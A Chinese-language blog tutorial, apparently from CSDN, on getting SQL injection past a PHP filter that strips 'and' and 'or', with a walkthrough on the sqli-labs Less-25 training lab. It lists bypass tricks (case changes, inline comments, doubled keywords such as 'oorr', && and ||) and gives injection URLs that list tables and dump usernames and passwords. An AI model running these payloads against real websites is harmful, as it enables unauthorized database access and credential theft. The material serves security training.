数据库
首页 > 数据库> > SQL注入 绕过and和or过滤

SQL注入 绕过and和or过滤

作者:互联网

SQL注入 绕过and和or过滤

1.基础知识介绍

1.MySQL中的大小写不敏感,大写与小写一样。
2.MySQL中的十六进制与URL编码
3.符号和关键字替换and – &&、or–||
4.内联注释与多行注释

/*! 内联注释*/
/*多行注释*/

2.去除and和or的代码分析

preg_replace(mixed $pattern,mixed $replacement,mixed $subject):执行一个正则表达式的搜索和替换。
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串组。
$subject:要搜索替换的目标字符串或字符串数组

在这里插入图片描述

$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);

值得一说的是preg_replace函数后面的/i是指ignore,就是忽略大小写

3.绕过去除and和or的SQL注入

1.大小写变形,Or,OR,oR,OR,And,ANd,aND等 代码中大小写不敏感都被剔除
2.在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
3.利用符号替代——and --&& or–||
我们以sqli-labs-less25为例
1.当我们输入1时,回显正常,当我们输入1\时报错

在这里插入图片描述
2.可以判断出,此sql注入为字符型,判断and,or等关键字是否被过滤

?id=1' and 1=1#

在这里插入图片描述
3.发现andor被过滤为空,这里我使用的是双写绕过

?id=1' oorr 1=1--+

在这里插入图片描述
4.爆破数据库
在这里插入图片描述
5.爆破数据表

?id=-1'and union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3%23

在这里插入图片描述

6.爆破字段名
在这里插入图片描述
7.爆破字段内容
获取用户名和密码

?id=-1' union select 1,(select group_concat(username,passwoorrd) from users),3--+

在这里插入图片描述

标签:preg,replace,过滤,大小写,SQL,字符串,绕过,id,select
来源: https://blog.csdn.net/m_de_g/article/details/121792949